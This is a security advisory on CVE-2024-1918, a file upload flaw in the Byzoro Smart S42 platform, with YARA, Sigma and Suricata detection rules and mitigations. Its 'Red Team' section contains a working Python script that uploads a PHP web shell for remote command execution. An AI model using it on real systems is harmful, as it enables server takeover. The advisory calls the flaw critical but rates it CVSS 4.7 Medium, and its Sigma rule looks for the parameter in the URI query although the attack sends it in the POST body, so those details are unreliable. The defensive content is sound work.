CVE-2024-1918

Executive Summary

CVE-2024-1918 is a critical unrestricted file upload vulnerability in the Byzoro Smart S42 Management Platform (up to version 20240219). The flaw resides in the /useratte/userattestation.php endpoint, where the hidwel parameter is not properly sanitized, allowing remote attackers to upload arbitrary files. This can lead to remote code execution (RCE) on the server. The vendor was contacted but did not respond, and no official patch exists. The exploit has been publicly disclosed, increasing the risk of active exploitation.

Supply Chain & Package Security

This vulnerability is not related to any package ecosystem (NPM, PyPI, Go, Ruby). It affects a proprietary hardware management platform.

CVSS Breakdown & Threat Level

• CVSS Score: 4.7 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the public availability of exploit code and lack of patch elevate the real-world risk.

Deep Dive & Mechanics

The vulnerability is a classic unrestricted file upload (CWE-434). The /useratte/userattestation.php script accepts the hidwel parameter and uses it to construct a file path without proper validation. An attacker can upload a malicious PHP file (e.g., a web shell) by manipulating the hidwel parameter to include a filename with a .php extension. The uploaded file is then accessible via the web server, allowing remote code execution.

Root Cause: The application fails to check the file extension or content type of the uploaded file. It also does not sanitize the hidwel parameter, allowing path traversal or arbitrary file naming.

Attack Flow:

1. Attacker sends a POST request to /useratte/userattestation.php with hidwel set to a malicious filename (e.g., shell.php).
2. The server writes the uploaded content to the specified path.
3. Attacker accesses the uploaded file via the web server (e.g., http://target/shell.php).
4. The attacker executes arbitrary commands on the server.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

<?php
$hidwel = $_POST['hidwel'];
$upload_dir = "/var/www/html/uploads/";
$file_path = $upload_dir . $hidwel;
move_uploaded_file($_FILES['file']['tmp_name'], $file_path);
?>

Patched Code (Hypothetical):

<?php
$hidwel = basename($_POST['hidwel']);
$allowed_ext = ['jpg', 'png', 'gif'];
$ext = pathinfo($hidwel, PATHINFO_EXTENSION);
if (!in_array($ext, $allowed_ext)) {
    die("Invalid file type.");
}
$upload_dir = "/var/www/html/uploads/";
$file_path = $upload_dir . $hidwel;
move_uploaded_file($_FILES['file']['tmp_name'], $file_path);
?>

Key Differences:

• The patched version uses basename() to prevent path traversal.
• It validates the file extension against a whitelist.
• It does not allow executable extensions like .php.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Python 3.x with requests library.
• Target running Byzoro Smart S42 Management Platform.

Exploit Script:

import requests

target = "http://target.com"
upload_url = f"{target}/useratte/userattestation.php"
payload = '<?php system($_GET["cmd"]); ?>'
files = {'file': ('shell.php', payload, 'application/x-php')}
data = {'hidwel': 'shell.php'}

response = requests.post(upload_url, files=files, data=data)
if response.status_code == 200:
    print(f"Web shell uploaded: {target}/shell.php?cmd=id")
else:
    print("Upload failed")

Usage:

1. Run the script against the target.
2. Access the uploaded shell: http://target/shell.php?cmd=id.

Blue Team

Detection:

• Monitor for POST requests to /useratte/userattestation.php with unusual hidwel parameters (e.g., containing .php or path traversal sequences).
• Look for new files in the web root with executable extensions (.php, .asp, .jsp).
• Use file integrity monitoring (FIM) to detect unauthorized file creation.

Hunting:

• Search logs for hidwel parameter values containing ../ or .php.
• Check for outbound connections from the web server to unknown IPs (potential C2).

Indicators of Compromise (IOCs)

• File: /var/www/html/uploads/shell.php (or similar)
• Network: POST request to /useratte/userattestation.php with hidwel=shell.php
• Log Entry: POST /useratte/userattestation.php HTTP/1.1 with hidwel parameter containing .php
• Process: php or httpd spawning shell commands (e.g., id, whoami)

Detection Engineering

YARA Rule

rule CVE_2024_1918_Webshell {
    meta:
        description = "Detects web shells uploaded via CVE-2024-1918"
        author = "Valters IT"
        date = "2024-02-20"
    strings:
        $php_tag = "<?php"
        $system_call = "system("
        $cmd_param = "$_GET[\"cmd\"]"
    condition:
        $php_tag and $system_call and $cmd_param
}

Sigma Rule

title: CVE-2024-1918 Unrestricted File Upload
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2024-1918
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/useratte/userattestation.php'
        cs-uri-query|contains: 'hidwel='
    condition: selection
falsepositives:
    - Legitimate file uploads (if any)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2024-1918 - Unrestricted File Upload Attempt";
    flow:to_server;
    content:"POST";
    http_method;
    content:"/useratte/userattestation.php";
    http_uri;
    content:"hidwel=";
    http_client_body;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices from the network if possible.
2. Block access to /useratte/userattestation.php via WAF or web server configuration (e.g., Apache .htaccess):

   <LocationMatch "^/useratte/userattestation\.php">
       Deny from all
   </LocationMatch>
   

3. Monitor logs for exploitation attempts.

Long-term Fix:

• Since no patch is available, consider replacing the platform with a supported alternative.
• Implement input validation and file upload restrictions at the application level.
• Use a Web Application Firewall (WAF) to block malicious uploads.

Workaround:

• Disable the vulnerable endpoint by removing or renaming the file on the server.

Valters IT
Securing Digital Frontiers